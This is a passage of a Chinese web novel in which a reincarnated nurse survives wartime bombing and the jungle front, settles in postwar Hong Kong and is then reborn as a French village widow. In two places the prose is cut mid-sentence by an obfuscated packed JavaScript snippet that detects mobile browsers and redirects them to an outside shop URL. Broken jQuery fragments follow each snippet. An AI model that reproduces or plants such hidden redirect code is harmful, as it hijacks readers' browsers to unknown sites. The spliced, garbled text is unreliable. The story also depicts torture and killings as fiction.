锦城相对战前的平城闭塞了无数倍,而且外文报纸基本运不进来,只有一些非常重大的消息才可能通过电报传进来。
所以外籍医护各个目瞪口呆。曾经与德军你来我往打得还算可以的法军上哪去了?拿破仑成绝响了是吧!
“年轻的德国士兵会有秩序地排队买香水送给女朋友的吧。”苏茜耸耸肩,谁让她就记得这种历史八卦照片,而且那店也是名牌店铺呢。
“女朋友?”这是啥地狱笑话。
“法籍或德籍女朋友?”能送香水的,起码也是情人不是。
“……”
“……”
医院里目前没有法籍医护,所以大家谈论起来不会客气。尤其是一些华籍士兵抡起大刀也要血战到底的勇气,与英军一走就不打而降的法军相比,让其他国家的医护感觉还是这里好点。
“伦敦也在被轰.炸。”一位英籍医生叹息着。本地报纸基本不会刊登其他国家的情况,但他还是打听到很多事情。“我的父亲,姑母,还有很多亲戚在那里。希望他们没事。”
旁边人拍拍他的肩膀。轰.炸是什么情景大家都知道,真心不知道该说什么。
突然,防空警报响起。
“快准备!”
医护们全部跑开。
先保住自己,然后保护伤病,再等轰.炸过后准备拼命工作!
这一次,苏茜的住处成了废墟。
好在房东家和一楼店铺都没人死,只有一老一少受轻伤,还是苏茜亲自处理了伤口然后打发他们离开的。
“我们医院也被炸了两次。”苏茜指指远处塌了的楼。“这里并不安全。”
家属们没有不理解为什么无法住院。哪怕去山里老家,也难保突然头顶上就丢下一颗细菌弹。
锦城被投的应该主要是霍乱。也许有其他更恶毒的,但受感染的人应该都死了。反正医院里似乎没有炭疽、鼠疫这种更糟糕的疫病——也或许有,不过在大面积传染别人前就死在医院外了。
在苏德真的打起来后——
“之前隔三岔五就来炸。这段时间好像少一些了?”
“难道东洋要攻苏国?”
普通医护消息闭塞,但是有一则消息说东洋与美交恶,更具体的情况及其影响就不知道了。报上的评论苏茜懒得看,都是扯淡。这些蠢货还在指望英美“主持公道”能让东洋退兵。
夜间拥挤的宿舍,大家摸黑洗漱不敢开灯,当然也没有电了,男女学生们将生存所需压到最小,护士和医生们也是挤在原来只分配给高级医师的十几栋房子里。这些房子只被炸毁了两座,算是意外之喜。
而苏茜为了自己方便,选择睡在楼梯下的储物间,床则是几个木箱拼接起来,箱子里是明面上不算很多的行李——“据说”大部分的书籍和其他东西都炸掉了——上面铺着自己之前带去员工宿舍的被褥。员工宿舍现在已经改为病房。
吃饱穿暖的同时,能够上厕所擦洗澡刷牙用水已经算是很体面的生活。
苏茜在去厕所的拐角落里回到岛上,开一个水果罐头和一个牛奶罐头,同时用自家的干净水煮一小锅药茶,找海鲜吃是来不及也没那个力气,不过用温热的水将自己连头发一起泡进去洗洗那股血腥气和汗臭还是可以的。
回储物间,路过走廊的时候刚毕业的几个医生还在谈论时政。嗯,居然还抽烟?真是的!
“……武.器和药品还是得自己产出。”
“你要加入中药制备组?”
“是的。”
“你难道是想转中医?”
“没有西药,西医什么都做不了。即使是手术,麻醉怎么办?术后怎么办?现在连清洗伤口都要找烈酒了……”
苏茜也想叹息。要不是这次是霍乱也没啥药就是以护理和止泻为主,他们医院抬出去的尸.体会更多。
但无论如何,这几年医院里的医护在锦城名声大噪。
* * *
“大消息!大消息!美英向东洋宣战了!”
“英国海军也很强的,可以和美.军一起打。”
“难得的好消息啊!”
“难怪都两个月没有轰.炸了。”
苏茜同样记得那段历史八卦,嗯,美.军没让英军参与,大家还是各做各的比较好,毕竟蒙哥马利只有一个。一方面是后者在亚洲战场上被人数装备都不及自己的东洋打得落花流水特别丢脸,另一方面前者不想让后者维持在亚洲的殖民地位——苏茜觉得前一个理由更具有实操意义。比如法籍同袍还是别参合战争与坦克了,搞搞烹饪艺术还差不多……似乎真正能在正面战场上打赢法西斯的也就是两个超级大国?
想想就是件令人绝望的事!她即使突然变成机械设计天才弄出来□□,也架不住没有合格钢厂和技术工人啊!何况,指望这些用军用运输工具运纸钞倒卖金条的将军们?算了!她现在也没心思折腾小黄鱼什么的,因为没时间没力气花。不对,现在还没有各地金条价格差距巨大的时期吧?她再拉头发也想不起时间细节,还是睡吧!
看什么时候能造些房子出来自己能搬出去住。
……
房子还是挺快的。平民目前还是自己搭窝棚,就怕突然又来一场轰.炸。电厂机场医院等的优先级高于学校,在确定东洋自顾不暇后,很多简易平房在医院附近搭起来。苏茜能租到的房子也是简易间平房,屋顶就是一面斜放的铁皮,没有瓦片屋檐,墙壁也是竹子砖头混搭。几排小房子,一排八间,租金其实也就是铁皮砖头和工人几顿饭的花费,目测能用个三四年。都是护士、学生和护工们住的。
苏茜级别还算高,但没有高到医生的程度,所以分不到像样的住处,附近又没有完好的房子,因此也住这样的铁皮屋。最重要的是,她终于可以回岛上吃饭睡觉了!她种的那些菜大都成为只能做绿肥的野草,似乎就只有荠菜、芹菜等几样种子掉落地面自己长出一小片的还能吃,就是口感与菜农卖的差距颇大。
所以她隔几天就去买郊县农人辛苦推进城换点钱物的菜。这一带的工商业毁得差不多了,但农业受的影响不算严重,尤其是蔬菜不受管制也不属于家家都要存下来的口粮。
在不需要每天平均工作十六七个小时后,苏茜开始恢复“正常”饮食,之前发黄发黑的脸色也好了不少。
对了,她现在做餐点的手艺大有长进,还能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006856|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用大米做蛋糕!可惜不能与人分享。
这一年的夏天,锦城不算特别热。
几乎家家都在祭祀,不论是祖先还是枉死的亲人。
苏茜一时没反应过来,一问才知道是农历七月半,开鬼门的日子。
但是开鬼门与去寺庙烧香有关吗?
还有,别在弥撒的时候做奇奇怪怪的祷告啊,会不灵的!
对这种群众多神崇拜,华籍人士只能摇摇头一笑置之,外籍人士虽然不太懂但不妨碍他们也一起祈祷别再有可怕的伤亡——没有人愿意回想兼职焚.尸工人时的情景。
“我去支援。”会议的时候,院长问护士们有没有愿意去战地医院的,苏茜第二个举手报名。“年轻的姑娘去战场,万一有什么,妈妈还要不要活了。”
之前的医护队伍,医生死亡一人,重伤四人,而护士直接死了三人,重伤残疾五人,还有几个因为“各种原因”退出。前线严重缺医护,但到底打得如何?不知道!
因为他们还没开拔,地方就丢了,正规军撤了,地方军却打得连将军都阵亡了……苏茜气得脑袋阵阵发晕,仿佛看到了宋朝灭亡的再现。
“这都是什么玩意!饿着肚子的人都在认真打仗,而这帮混账除了捞钱还会什么!”
对于败军之将,连大报都开了嘲讽模式,小报更是破口大骂。
“行了,比法军好点吧。打仗前还在找姑娘开舞会,投降后继续开舞会。”
“我们有好到哪里吗?!”同事也是气得眼前发黑,她刚捐了款给豫省的饥荒和战争,结果告诉她这些可能都成为某些人的私财?!
“没投降。”苏茜不是很喜欢用我们、我国这样的词,而且有时会显得犀利刻薄。讲得不好听,萨利纳斯维多利亚港对她来说还更像家乡一点,虽然她一次也没有去过,但是达亚娜老人没事就跟她讲述过去的故事,有好的有坏的,冲淡了她早前对“老家”的感情。加上这辈子“家乡”乃至半个村子的人对她那种满满的恶意,在这个身体埋下严重的排斥心理,令她时不时就要跟自己的戾气作斗争。
“哦,对了,你这次没有捐款吧?”
“我宁愿把工资捐给来医院看病的穷人。”何况现在已经出现恶性通货膨胀的征兆了。
不过第三次开拔,苏茜真的走了。
走得很突然,早上通知,下午十几名医护和一批中草药、西药、手术和医疗器械就上路。
苏茜算是这支队伍里最“年长”的,看上去身体也是最结实。卡车一路颠簸到滇省居然没病甚至没晕车,还能扛着二十斤的药品器械徒步翻山。士兵们都对这位“大姐”刮目相看。
最让士兵们头晕的是,苏大姐不仅文能划开肚子、武能机木仓打靶,还能用好几种口音将外国士兵骂得头都抬不起来,华籍美籍英籍印籍澳籍都骂。
“亚利桑那的兔子都比你聪明!滚回床板上去!”苏茜觉得在翻过尸骨丛林后自己的脾气越来越差。双方,不,三四方指挥官的瞎指挥下,各方大概饿死、病死、累死了能有十几万士兵。都是年轻人甚至少年人啊!其中一个被她一刀割喉的东洋士兵肯定不超过二十,本来应该带着婴儿肥的脸蛋瘦得脱了形,眼神涣散无光其实还发着烧——杀了他也是帮他解脱。所以她现在最见不得的就是找死的年轻人,不管是哪一国的。
边上的华籍年轻士兵正在偷笑,被她眯着眼盯了三秒钟,吓得立刻跑了。这位护士大姐还拿消毒过的人骨教过他们如何徒手错位颈椎让敌人闭嘴乃至毙命的手法,真是比丛林毒蛇还恐怖的生物!所有见过和听过那一幕的士兵,各个国家的,都对她敬畏得不得了。
“护士苏茜,你要的纸。”
“谢谢。”
军中的翻译官都没有她的外语能力强,何况她还懂一点日文。真的一点,人名地名读音之类的是真不行,但不少字词意思还是懂的。
“知道你们的731部队干的都是些什么事吗?”苏茜恐怖地微笑着,用针头吸了少量液体,皮下注射,“你可以慢慢体验全身溃烂但意识清醒,最后被活活做成标本的快乐!相信你一定会为了自己成为我的活体实验品而感到高兴!”
被打得鼻青脸肿的日籍俘虏感到一阵刺痛,吓得瞪大了本来就因为长时间饥饿而变大的眼睛。“我只知道一点,一点,我都会说的,不要把我做成标本!”
苏茜微笑着摸出小号手术刀,在对方的下颚处轻轻划过,没有破皮,“别让我失望,不然我会慢慢将你脸上的皮剥下来。”
她摆手让审讯的美籍军官跟翻译接受。
出来后,她满脸叹息。那也是个可怜的年轻人,最多十八九,关西农村人,一腔热忱地上了战场成为炮灰。这场战争中死去的大部分是被煽动甚至被强迫的无辜民众,而真正发动战争的该死的家伙很多却能活到战后若干年。
“混蛋的世界!”她用西语咒骂着。
所有的食品在过期前全部吃掉了,种的菜死的死野的野都没法吃,现在她除了需要费力赶海啥额外吃的也没有,甚至青霉素都没原料制作,只能眼睁睁看着别人饿死没办法!因为她的海岛能让自己不死就已经很给力了。
……总算,现在部队有驻地,有补给——哦,该死的午餐肉罐头——好歹活下来几万条性命。
医生护士也死去好几位,还有一位失踪了、应该是凶多吉少。
年中的时候,队伍开拔,苏茜和几个医护则坐运输机去印地。
这运输机吧,能冻死个人。地面上永远是夏天,天上一床毯子根本不能扛。苏茜和另一名护士挤在一起,裹着是她偷换的羊毛毯,那护士的薄毯则给两个男医生用。
谢天谢地的是,在大家快要死于巨大的噪音和冰冷时,飞机开始剧烈颤动,慢慢下降。
“天啊!我以为我要冻死了。”
还算年轻的医护们脸色从青白到潮红。天气热得人瞬间忘记刚才的寒冷。
苏茜默不作声地打包扛起毯子行李,带头与当地军人交接,去战地医院报道。
当地人的英文口音也是够呛,好在苏茜能用伦敦腔糊弄所有人。等她能一个人掐晕伤员、止血取碎片、缝合包扎,判定是否需要打盘尼西林针之后,名声更响亮。
在药物上,不得不否认盟军这里更有优势。
而东洋的伤亡也开始到了国内承受不了的程度,少年和中老年都上阵了。华籍……除了少数几次胜仗,其他都是一触即溃、全靠杂牌军,让他们现在这支军队的热血青少年也有些牺牲得毫无意义。
等两年后,苏茜随军回撤。
她是最后一批走的,当地医院简直不想放人。
这一撤就是撤回锦城。
三年战场,只回来了一半还少一个人。
苏茜将补发的工资都分给了阵亡失踪同事的家属。眼泪什么的是没有的,她不哭、不说,只做。不过这次她在医生家属小楼里有了一间二楼带阳台的房间作为奖励。
真,好,不是吗?她终于找回大半平城时的待遇,就是房间面积小了点。
吃着甜美的西瓜,漠然看了眼滇省的战况报道。经过白骨小道,现在她已经对胜负彻底没了情绪波动。需要强调的是,这西瓜一个要一块钱,纸币,如果是一个银币私下里可以买一筐让人送上门。所以她捐出去的工资也就够一家子过一个夏天的。
煮小海鲜,海带排骨汤,配小半个西瓜。吃到撑还不会拉肚子,应该是辛香调料的功劳。
岛上又下雨。她的衣服都晾在阳台上,锦城这几天不下雨。
上辈子加固了好几层的花园木屋清爽温和,不会躁热地无法入睡,还得盖被套睡觉。热带战地医院里,大家同吃同住,她压根找不到时间睡自家的凉快小岛,要不是靠调息真的很难维持基本的健康。回来的感觉真好!
她躺在精心准备的简陋寝具上很快就睡着了。
19.当年的护士(六)
东洋投降后不久,苏茜就“退休”了。
她的年纪和健康情况完全可以再做个十年。不过——
“我太累了,不是身体的累,而是心理的。战争结束,我就想去个平静的地方养老休养。”
“哦,护士苏茜,你这些年……”
苏茜很有耐心地与副院长聊了二十分钟,再与护士长拥抱了一会儿。
“苏茜亲爱的,别告诉我你想去平城。”
“不,那里冬天太冷而且没有蔬菜水果吃。我打算去港城,也许过几年去法国或者美国。我一直不满美国不允许女性自己开银行账户。”
“哦!很遗憾那是真的。”苏茜那句“有名”的亚利桑那的兔子让护士长非常清楚这位华籍女护士对母国很了解。说实话,能在荒漠里存活的兔子确实可能挺聪明的,呃,如果那里有兔子的话。她真没法说自家对女性有多友善,何况还有那个著名的排华法案。至于港城?那里算是华人地盘,不存在排华一说,似乎挺适合苏茜的。
护士长完全不知道苏茜想避开的是内.战。
她先是去采购了些能够存放至少一年的土特产,然后买了好不容易恢复通航的去海城的“长途”船票,再与同事们道别后退掉住处,提着两个箱子走人。
船舱是很小的二等双人间,她买了两张票占下一间。顺流而下似乎时间能短一点,倒是海城到港城的时间更短。
两天就到了,比等待开船的时间还短,显得头等舱的价格有点亏。
眼下的港城不及海城,不管是货物吞吐量还是城市内外国人控制区域的繁华程度,哪怕是农村地区也差很多。
但苏茜只想有个安稳的几十年再平静地去世,一点不想在晚年又起折腾。港城嘛,最多帮派问题,干掉不就得了。
不过等她下船后坐上人力车,让车夫去个商业街附近的干净酒店时突然梗住了。等等,自己想买房还是租房来着?
光着脚的车夫很可能是渔民转行打工的,衣服打了好多补丁但无异味,车子很旧了但擦拭得很干净。他走了一个多小时,转了几条满是骑楼的大街,走过一个行驶公交车的路口,就是目标酒店。
“你收什么钱?”苏茜的广东话不太好,不过对方的似乎也不怎么样。
“都收。港币,法.币,铜币。”
苏茜给了两块银币,让他帮忙搬箱子进酒店大堂。对方高兴得不得了,这银币从来不贬值,跟日据时代东洋发行的废纸和对面已经开始不对劲的法.币完全不一样,不论是流通还是卖掉,都抵得上他两天的收入了。
酒店能在战后立刻开起来而且还如此生意兴隆,说明背后实力很强。虽然建筑有些不伦不类,但服务看起来带着些英式的范儿。
苏茜直接要求住半个月,让开张以来生意很普通的经理非常高兴。尤其是这位客人的口音很不错,就是可能很大方的那种。
事实上苏茜给跑前跑后指点店铺银行中介机构的服务生一美刀的小费。然后跑了五天才拍板买下三层联排中的一栋,一楼铺面是带租约的饭铺,二层和三层是她的。这条街和这一排楼,苏茜都没见过,也不知道这排有些老旧不过还是有下水道的楼什么时候拆,但不妨碍她先买了等升值再换房。
前任房主极为喜欢她付账的金条,她也很欣赏对方将所有家具和一台收音机都留给她并且打扫得干干净净。双方甚至都赠送了对方礼物,这一点让中介都觉得不可思议。最有趣的是,卖方“送”的是一套还算精致但并不昂贵的瓷茶具、属于扔了可惜带上又增加移民行李的那种,买方“赠”的是一瓶战前出产的法国葡萄酒、不是很有名但现在买不到的那种。酒还是平城时的囤货,当时要好几块银币。茶具倒是苏茜很欢迎的,因为虽然来之前在锦城和海城买了一堆食物、包括是能喝两年的各类茶叶,但茶具只有几只杯子和一个什么都煮的大陶壶。
现在的事情就是找个裁缝铺做衣服和床品了。嗯,窗帘是现成的,洗洗就行。
啊,煤气灶!洗衣机!空调!冰箱!烤炉!虽然没有微波炉,而且洗衣机也很“原始”,但一点不影响苏茜对现代化生活的渴望。
哪怕空调,不,是冷气机噪音大还不能遥控调节,苏茜还是在一楼和二楼都装了——整栋楼的电费都由一楼租户付、付到五年后租约到期,而对方感激涕零,因为即使夏季全天开的电费也不及冷气机昂贵。这个季节的港城已经不是很炎热了,但中午吃个饭出一身汗也是很常见的事。苏茜没有考虑到安装的季节问题,只是很高兴居然比自己想象的便宜,原来只因眼下是淡季。
还有,武.器也属于乱糟糟没人管,值得补货,而且比自己在平城时的价格便宜不少。
“女士,你可以试试。这些子.弹是送的。”地下店铺的老板道。这店距离市区远,而且在半地下,其实就是个半公开的射.击俱乐部。
“谢谢!”苏茜戴上手套,夸张地左手单手和右手单手各开两木仓,最后三发子.弹则是双手持。三十米平均超过八环。
“哇!你的木仓法很好!”
“差强人意,”苏茜摇头,比上上辈子可差远了,但这个时代这个地点足够用。“上战场还是不太行。”
“难道你上过战场?”震惊死了。
“军医。其他医术不行,天天挖子.弹,缝肚子,烧截肢,搬尸.体。可惜,只杀过两个敌人。”她利索地检查转轮和子.弹,然后塞进手袋。
“啊,难怪你会木仓。”缝肚子什么的,哪怕他们是做这行生意的也觉吓人。
苏茜看了明显是出来混、只敢对比自己弱小的人挥拳头的老板一眼,“那时我手上没有热武,只有刀子。一刀一个。”
老板张了张嘴,合上。救过人也杀过人的女人……就当结个善缘吧。
苏茜是骑脚踏车走的,这车终于能正大光明拿出来用了。骑了一个多小时才回到新家——即使十几年后肯定会卖掉,可现在就是她家。从楼下饭铺买了份煲饭当晚餐,上楼喝一壶绿茶。绿茶最好不要放超过一年,所以她得先喝掉。
隔壁的隔壁是画室,卖中西文具、书画用品、各式装饰画还收学生,不过教的是素描和西式油画。这是个很好的打发时间的兴趣爱好。
港城这里出产还行,居然还有水稻,当然多数依旧需要从陆地运来。苏茜直接买了一年份的新米,然后继续将陈粮送去救济站——还是教会的,可惜不是她一开始加入的那个教派,所以还是算了,她又不是真正的修女。
用电用气都不错,结果让人无语的是用水。
“苏茜女士,你买的水到了。”
“谢谢!”
给费用和小费,苏茜将两桶水拎进洗衣间。难怪要有个专门的洗衣间呢,得放水桶才能用洗衣机和拖把池。
苏茜没用女佣,不管是住家的还是钟点工。港城的冬季并不冷,可也没有到单衣就能打发的地步。因此她白天基本都在三楼的画室兼晾衣间。由于完全不想在没有阳台的地方伸出去几根竹竿晾衣服,让街道上来来往往的人从底下走过,苏茜在三楼找一处可以晒到几个小时太阳的角落摆上定做的晾晒架子,再把窗户改为大块玻璃加防盗铁窗。
然后她还买到了医用和家用消毒液。还有,青霉素降价了。
“现在的生活真是方便!又便宜又便捷!”一名同样来学画的女士感慨着。
“是啊!没有战争,有电和电器,医院。”苏茜同样感慨,这里除了物价贵和自家楼上没有自来水,其他都很不错,尤其是烟火气息的街区让人找到活着的感觉。白骨小道至今还会让她心悸,身上不带武.器是绝对不出门的,走路也是要分一部分注意力在周围和天空,就怕突然来一阵扫射或炸.弹。虽然很遗憾内地还在打,但她一点不想再看到大量死亡和残肢,即使是动物的也不想看到,甚至在回到锦城后有快半年的时间她吃不下荤菜。好在目前已经有所缓解,做好的肉类堡饭炒饭之类以及自家岛上的水产品都没问题了。
苏茜的素描构图学了足有半年。期间花了钱装上自来水管道。
接着才是颜料油彩。她学的是油画,除了比例和解剖,其他都是从零开始。
当有地产商来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011766|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谈拆迁重建时,苏茜不仅能用油画颜料画出自己岛上的风光,还学会了做不过分齁甜的拿破仑蛋糕,或者说是拿波里千层酥。
“对,五百五十呎的那套。”拿到的钱没有想象的多,但这个时候的房价也没有想象的贵,所以苏茜买了两套不大的公寓,大的自住,小的交给中介去出租,租金收入足够付伙食和水电煤气电话费。至于服装,她还是那套风格,甚至能自己裁剪和踩缝纫机制作,因此对这个时代的流行毫无兴趣。
修炼结束,苏茜划船出海用网捞杂鱼海鲜。将船转移到岛上着实费了点功夫,好在眼下没有什么监控,不然就是惊悚事件了。
捞回来煮午饭吃,吃完饭喝杯茶继续修炼。在还算凉快的木屋里看书,在傍晚下雨时收衣服,回到屋里换衣服出门吃完饭。吃完回来也不开冷气,直接回岛上看书,修炼,睡觉。
由于采购越来越方便,苏茜除了准备改良稳固土壤的茅草等,不再种其他东西。
“能继续念书就去念点书,尤其是英语。”她塞了一卷钞票给锦城那一带口音的摆摊女孩,拎着袋子走人。袋子里也是内地过来卖的一些土棉布,质地不错,就是粗糙且花色土气,非常适合做床单和收藏。
谁知道下一次会碰到什么呢?!
内地那边正在经历劫难。这种情况还得持续好些年。顺便的,她也不想参与到什么运动中去,因为几十年后这些激情澎湃都将成为历史渣滓。
……
“这家银号也关门了啊!”
“是啊!关了那么多!钱都收不回来!”
“佛祖保佑,我一月就把股票沽出了。不过有一支其实还在涨呢!”
一群老少堵在关门的银行门口,有捶地大哭的,有高声谈论的,还有指点江山的。更多路过的人,有中式褂子,有破衣烂衫,有西装革履,偶然还有女子穿着西式商务裙装匆匆走过。职业女性毕竟少,尤其是今年经济情况不好,金融股市房市都一塌糊涂。
包括治安。
作为习惯了战乱的人士,苏茜今年已经用掉十发子.弹,糟糕情况可见一斑。
“不管怎么样,比缅国丛林安全多了。我不需要靠白骨指路,也不会活着被野兽吃掉。”苏茜用十块钱打发掉查案的同时还索要保护费的警员,跟来探听情况的邻居“闲聊”。以为她是个独居无靠的老太太?看看她毫无皱纹的脸,问问她手里的木仓!
“我只看见门外有人跑过去,然后‘砰’的一声,这个烂仔就脑袋开花了。肯定是他们的仇家干的。”饭铺老板指手画脚地向目瞪口呆的警员描述当时的情景。
实际上是收保护费的一个家伙敲破了隔壁桌的汤盆引起尖叫混乱时,被苏茜给爆了头。
她的手法越发神出鬼没了!苏茜得意了一把,就是可惜没有战利品。
上次她处理盗匪的时候直接收了一袋子纸钞,够她在这条街上吃一年。为民除害的同时发笔横财,真是太棒了。
恶劣的治安和抗议的工人没有挡住苏茜抄底的乐趣。她在价格最低的时候又买了几套不算不显眼的房产。
在内地开始展现实力和影响力之后,港城慢慢平和下来,从治安到房价也在慢慢回温。
苏茜保持几年卖出一套的节奏,差价总比生活费多。于是她愉快地买了开金匠铺子的工具,开始折腾堆在那里生灰的金元。
放金元的地方没有阵法,真的就是在吃土生灰。苏茜开始重新整理山洞和收藏,实在无法使用或无法看清楚字的才扔下垃圾海滩。她还买了大量玻璃和陶瓷之类的仪器设备,甚至一条不锈钢小船。
等最后一套房子卖掉后,她年纪确实大了。
“我当年就住在这一带,在那间医院里工作。”她微笑着对平城里刚入行的导游道。这里的服务业刚兴起不久,她能用低得令人吃惊的价格雇佣到一名私人导游。
导游很负责的带着她走了平城、海城和锦城,最后去滇省遗址走了一圈,才回港城。
“我一个人就好。谢谢。”她微笑着拒绝了工作人员的推销,走上自己新买的小游艇。
20.国王亦凡人(一)
“……那个贱.人看到我,还向我求救!哈哈哈……她脖子里流出来的血还有头发被我卖了个好价钱!哈哈哈……”
干瘪的妇人其实还不到五十,但看上去六十多了,精神状态不正常的同时,身体素质居然还挺棒,难以想象她能够一路从巴黎走到哥德小镇还要上山,然后还有力气捂死一个二十八岁的男子,即使后者瘦小虚弱。
“可是,你的父亲和祖父死得再惨,也不能掩饰你杀死了我的丈夫的罪行……”苏茜冷冷地用标准发音答复。伸出手。
妇人大吃一惊,正要教训这个懦弱的外孙女,但寰椎和枢椎的严重错位让她瞪大了眼睛。然后就定格在那个表情。
“放心,我会在地狱里对你进行审判的。”温暖轻柔的嗓音仿佛带着怜悯、慈爱和诱人忏悔的力量。一双纤细小巧的手拨下妇人的眼皮,盖住那双无神的棕色眼睛,顺便吐槽自己“觉醒”前糟糕的口音和语法知识。
妇人身上脏臭的裙子藏了不少东西。因为是连夜处理,点了上辈子收藏的三支蜡烛,苏茜花了半晚才完成处理遗“物”的工作,然后将害死好几个人的老太太踢下垃圾海滩。
这个时代,怎么说呢?!
拿破仑被囚禁了。
路易王想搞君主立宪结果没搞成。
苏茜在岛上找资料找了一个多小时,确定是火山喷发影响全球气候的年份。似乎是两年没有收成……真是,好得要命的时代啊!
第二天上午,她满脸菜色、眼底青黑地参加了简单的贫民葬礼。
恭喜苏茜-罗西诺,成为了一名十六岁的寡妇,还继承了一小块没法种葡萄的坡地,这块地还是羊群的迁徙路线。外祖母谋杀了自己的外孙女婿就是为了这块只能种点牧草的二十多阿庞的地,还是没有耕牛的那种——值得庆幸的是那妇人偷摸杀人后还躲了两天,没人知道她来过,为苏茜的后续处理省了不少力气。
老村长柯纳尔是个老好人,他帮忙办了身份和继承等不少手续,还去了一趟镇上,最后只收五个旧苏硬币的报酬,而苏茜硬塞给他一个银法郎——还是“遗产”中的货币,她本人的收藏品里只有金路易。
在苏茜接受的记忆里,她连镇上都只去过两次。其中最近的一次就是被去年就过世的母亲和刚刚被干掉的外祖母嫁人。至于父亲,村里人说是死在战场上了,也有说是死在断头台了。但时间年代怎么算都有些奇怪,前者应该是皇帝陛下的战争?似乎太晚了。而后者肯定是她出生前,又太早了。
反正,总之,母亲和外祖母将她嫁给同村一个其实是很穷的耕农是事实,几个月后就她一个人活下来也是事实。
裹着破毛毡回到石屋里。这两间石头砌成的屋子、地下室连同外面半荒芜连棵树都没有的坡地是她的全部财产。她现在大概是全村最穷的人家了,家里只攒下一百多个尼尔和十几个生丁——让人无比头大的算术,还是各省、大城市和码头都不同的算术。
现在还要加上昨晚弄到的“战利品”:五个金路易,三个银埃居,一个银法郎,一把合金生丁,另外还有一个像是家族徽章一样的铜制品——也许这位女士不是个普通平民,亦或许是其偷来的。
回到岛上,温度高了起码五摄氏度。可靠的小岛,虽然没法存放食物,但是有锯子,有一些惨兮兮的树,还有存下的煤。
煤能烧。木头即使来不及烘干也能烧火,就是烟太大。
她翻出来自己的收藏。早年,几百年前的事了,因为银行不回收24K以下的金,她不得不用“缴获”的合金金属里分离出的勉强算是足金的贵金属折腾出一盒子仿制金币,当时折腾模具花了好几个月的时间才解决,成本甚至超过找工作室做现成的。比对了下,仿制的是皮斯托尔,西国金币,就是图案稍微有点比例问题,怎么看怎么像是私铸的。
也确实是她私铸的。反正重量在那里,比正版的重一点,估计纯度也高一点,收到的人不会亏。
裙里的羊毛长袜应该已经穿了至少两年,又短又紧非常不舒服还不保暖,再这样过一个冬天肯定出现关节毛病。今天村里小店没看到有卖的,估计大家都攒着另外卖钱。但她买了几个硬面包,可以几天不出现。好在第三天天气暖和了点,中午有摄氏十七度。苏茜赶紧跑出门到镇上买了新的长袜和半新长裙短靴和羊毛外套,讲了半天价还是花了三个银币。所以她披着新买的衣服最终走进街尾首饰铺。
“……这是我外祖母从一位佛罗伦萨商人那里得到!曾经是一位美第奇佩戴过的!”这套首饰是仿的,毫无疑问,但仿的是真古董,金也是足金。
最后这套首饰的成交价换来超过它们重量一个金法郎,算是苏茜的手工费了,有亿点点亏。如果不是她当时制作的时候可不是纯粹的手工制作,她说不定会气得上手打劫。
她没打劫首饰铺,但是自己碰到了打劫的。
“小妞,把身上的钱都交出来!”几个高矮年龄不一的男子不怀好意地盯着骑着驴的苏茜。
苏茜前后左右地看了看,前不着村后不着店,方圆半法里无人。她就是去买一批土豆做种子而已,至于出动五个劫匪吗?
“你们还要什么呀?”她甜美微笑,一边打开保险,一边估算能得到的好处。
突然的,远处一阵马车声响,速度颇快,由远及近。
双方对此“突发情况”都很不高兴。
于是劫匪们分散退走,苏茜继续上路。
“女士,请问马洛米耶庄在哪个方向。”
这个她还是知道的,她也是去那里。“前面的路口,那棵歪脖大树的路口,左转,再走大概三里。”
“谢谢!”马车不豪华,但是由两匹相当健壮的马拉着。车夫配细剑,车主有细剑和燧发木仓,两人都是三十上下的年纪,在这个年代绝对横扫路匪。
马车行驶的速度不快,也就比苏茜快一点点。到了路口,转弯,苏茜也转弯。半里后才加速。
苏茜意识到这车上的人是照顾她的安全,不由觉得很欣慰。从正常的思维,这是对方在沉默地做好事。
驴子是走不快的,但前面不远就是村庄,陆陆续续有人家,所以直到地方,劫匪都没再出现。苏茜一共买了两桶土豆,且特意从不同农户买了品种可能略有区别的。因为乡村度量衡的问题一直存在,所以直接按桶来买,再装入布袋子——一个旧布袋子一个生丁。
等走出庄子,苏茜的布袋子里已经减少为两个,而且换成了其他的东西。她转道这边的镇子上,还买了石灰块和熟石灰,从另一条路回家。种土豆她本人还是会的,但原身只帮地主照料过葡萄,自家那块地上也只种过麦子和牧草,产量低得惊人,也就靠一点羊群过路费解决面包问题。
她不是没想过卖掉地去巴黎,但去了那里靠什么生活?私铸币?别开玩笑了,这个混乱年代虽然不再随便抓人砍头,但也没好到哪里去,每十年一次的饥荒和不久之后的几次战争让巴黎的居民,不论贫富都成了消耗品,一茬一茬的冒头然后被收割。而民众,始终只是工具和韭菜。
也许之前肆意陷害他人被砍头的大妈们就是民众反抗成功的,反面案例。
坡地面积不算小,可一来是坡地不利灌溉耕作,二来羊群一过收成能少一半,可过路费并没有一半的收成那么多,甚至不是钱而是奶制品和一点熏肉。肉是比面粉贵,可面粉顶饿啊!所以村里人对“可怜的”小寡妇还是同情居多,并认为她肯定要做些别的事情糊口。让苏茜还算满意的是没人认为她会在村里卖身而嘴巴不干净。
进村前,土豆以及不少东西,一共六个布袋子被重新放到驴背上,而她本人则是步行。
“苏茜,你回来了。怎么带了那么多东西?”
